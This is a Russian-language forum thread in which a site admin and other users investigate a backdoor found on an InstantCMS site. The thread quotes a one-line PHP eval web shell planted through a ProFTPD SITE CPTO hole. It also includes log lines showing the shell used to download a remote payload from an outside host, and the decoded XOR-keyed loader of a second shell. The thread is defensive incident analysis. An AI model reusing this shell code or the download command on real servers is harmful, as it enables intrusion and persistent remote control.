Файл core456.php в папке cache

#1 27 сентября 2015 в 10:18
Вчера обнаружил на одном из сайтов на ICMS2 в папке cache файл core456.php с таким содержанием
  1.  
  2. +proftpd: 158.255.1.168:40809: SITE CPTO /tmp/.<?php eval(stripslashes($_GET['php456']));?>
  3.  
Данный сайт единственный из всех был связан с репозиторием на bitbucket.org
На всех остальных сайтах на этом сервере такого нет.

что такое eval я знаю.
Что значит эта строка? +proftpd: 158.255.1.168:40809: SITE CPTO /tmp/.
Я примерно догадываюсь(но могу ошибаться) что это сайт копируется во временную директорию куда-то. Но куда и зачем?
#2 27 сентября 2015 в 11:52
Нет, к битбакету это никакого отношения не имеет...
Вот логи

158.255.1.147 — - [23/Sep/2015:14:50:17 +0000] "GET / HTTP/1.1" 200 13702 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
158.255.1.147 — - [23/Sep/2015:14:50:19 +0000] "GET /cache/core456.php HTTP/1.1" 403 482 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
158.255.1.147 — - [23/Sep/2015:14:50:19 +0000] "GET /cache/core456.php HTTP/1.1" 403 486 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
158.255.1.147 — - [23/Sep/2015:14:50:20 +0000] "GET /upload/core456.php HTTP/1.1" 200 397 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
158.255.1.147 — - [23/Sep/2015:14:50:20 +0000] "GET /upload/core456.php?php456=$data=fopen('http://sml2.ru/mcwa.txt','rb');$contents=stream_get_contents($data);$file=fopen('mcwa.php','w');fwrite($file,$contents);fclose($file); HTTP/1.1" 200 252 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
158.255.1.147 — - [23/Sep/2015:14:50:21 +0000] "GET /upload/mcwa.php HTTP/1.1" 200 504 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
158.255.1.147 — - [23/Sep/2015:14:50:21 +0000] "GET /upload/core456.php?php456=unlink('core456.php'); HTTP/1.1" 200 252 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
#3 27 сентября 2015 в 12:27
В папку upload залит файл mcwa.php
Содержание файла примерно следующее:
$data = //зашифрована, расшифровать не получилось
а далее это (расшифровал):
  1.  
  2. function MCLogin() { die("<pre align="center"><form method="post">Password: <input type="password" name="mckey"><input type="submit" value=">>"></form></pre>"); }
  3. function Encrypt($InputString, $KeyString) { $KeyStringLength = mb_strlen( $KeyString );
  4. $InputStringLength = mb_strlen( $InputString ); for ( $i = 0; $i &lt; $InputStringLength; $i++ ) { $rPos = $i % $KeyStringLength; $r = ord ( $InputString[$i] ) ^ ord( $KeyString[$rPos] );
  5. $InputString[$i] = chr($r); } return $InputString; }
  6. $mckey = '';if (isset($_POST['mckey'])) {$mckey = $_POST['mckey']; setcookie("mckey", $mckey);} else{
  7. if ($_COOKIE['mckey']!='') { $mckey = $_COOKIE['mckey']; }}
  8. if ($mckey=='') {MCLogin();} else {$sdt = Encrypt(base64_decode($data), $mckey);if (strpos($sdt, '@CHECKDATA@') &gt; 0) {eval($sdt); } else {$mckey=''; MCLogin();}}
  9.  
  10.  
MCLogin очень похоже на MineCraft login. И файл называется mcwa, нагуглил такого юзера forummaxi.ru/index.php?showuser=2067 с таким же ником, и предлагающего защиту сайтов… Зареган он на игровом сайте. Хорошее совпадение.
#4 27 сентября 2015 в 18:59
как можно узнать, как был залит файл. в фтп логах ничего нет. Есть только записи что с вышеуказанного айпи обращаются к этому файлу. А откуда он там взялся никак не могу найти…
#5 27 сентября 2015 в 20:26

в фтп логах ничего нет

Rossoman
значит залили его не через фтп, мей би ssh? и логи соответственно другие смотреть
#6 27 сентября 2015 в 20:47


в фтп логах ничего нет

Rossoman
значит залили его не через фтп, мей би ssh? и логи соответственно другие смотреть

тихо в лесу

смотрел auth.log но ничего интересного не нашел. За исключением того что постоянно с разных айпи адресов идет подбор пароля root. За неделю лог весит 70 Мб…
#7 28 сентября 2015 в 10:51
Rossoman, а как он выполняется то? В папке cache стоит запрет на выполнение php…
#8 28 сентября 2015 в 11:09


Rossoman, а как он выполняется то? В папке cache стоит запрет на выполнение php...

Zau4man

В папке upload есть еще файл mcwa.php, с содержанием которое выше указал.
Переменную дата никак не смог расскодировать, поскольку нужен ключ.
#9 28 сентября 2015 в 14:59
Rossoman, очень захватывающий квест)))
Я поделюсь своими находками по твоей проблеме, скорее всего большую часть из них ты уже знаешь.

Так вот: +proftpd: 158.255.1.168:40809: SITE CPTO /tmp/... уязвимость в ProFTPD — он предположительно используется на сервере и хостер не счел необходимым пропатчить это дело. Пару ссылок по теме:
http://bugs.proftpd.org/show_bug.cgi?id=4169
http://www.opennet.ru/opennews/art.shtml?num=42015
и тут пару строк https://stackoff.ru/pro-site-cpfrcpto-v-proftpd/
Через эту уязвимость злоумышленник может залить файлы без авторизации.

Ну с этим и так все понятно)))
  1. 158.255.1.147 - - [23/Sep/2015:14:50:20 +0000]
  2.  
  3. "GET /upload/core456.php?php456=$data=fopen('http://sml2.ru/mcwa.txt','rb');
  4. $contents=stream_get_contents($data);
  5. $file=fopen('mcwa.php','w');
  6. fwrite($file,$contents);
  7. fclose($file);
  8.  
  9. HTTP/1.1" 200 252 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
Внутри mcwa.php в переменной $data, по идее, сам шелл закодированный с помощью обратимого XOR-шифрования (пример).

а тут ключик:
  1. $mckey = '';
  2. if (isset($_POST['mckey'])) {
  3. $mckey = $_POST['mckey'];
  4. setcookie("mckey", $mckey);
  5. } else {
  6. if ($_COOKIE['mckey']!='') { $mckey = $_COOKIE['mckey']; }
  7. }
  8. if ($mckey=='') { MCLogin(); }
  9. else {
  10. $sdt = Encrypt(base64_decode($data), $mckey);
  11. if (strpos($sdt, '@CHECKDATA@') > 0) { eval($sdt); }
  12. else {$mckey=''; MCLogin();}
  13. }
Rossoman, в логах нигде не проскакивало параметров ключика?))) Обращения к mcwa.php еще идут? или он генериться каждый раз заново?
Если есть попытки обратиться к старому файлу… может его немного модифицировать с записью и сохранением значения $mckey?
#10 28 сентября 2015 в 15:49

Rossoman, в логах нигде не проскакивало параметров ключика?))) Обращения к mcwa.php еще идут? или он генериться каждый раз заново?

Val
Все что выше написано я знаю) и про XOR шифрование тоже понял, и как ключик подбирается понял. Только сколько я не пытался подобрать ключ, естественно ничего не выходит.
Обращений к mcwa больше не было. Или были поддерты логи.
Взлом вероятно был через ssh, поскольку нашел в логах от 18 числа успешную авторизацию с американского айпи…
Вы не можете отвечать в этой теме.
Войдите или зарегистрируйтесь, чтобы писать на форуме.
Используя этот сайт, вы соглашаетесь с тем, что мы используем файлы cookie.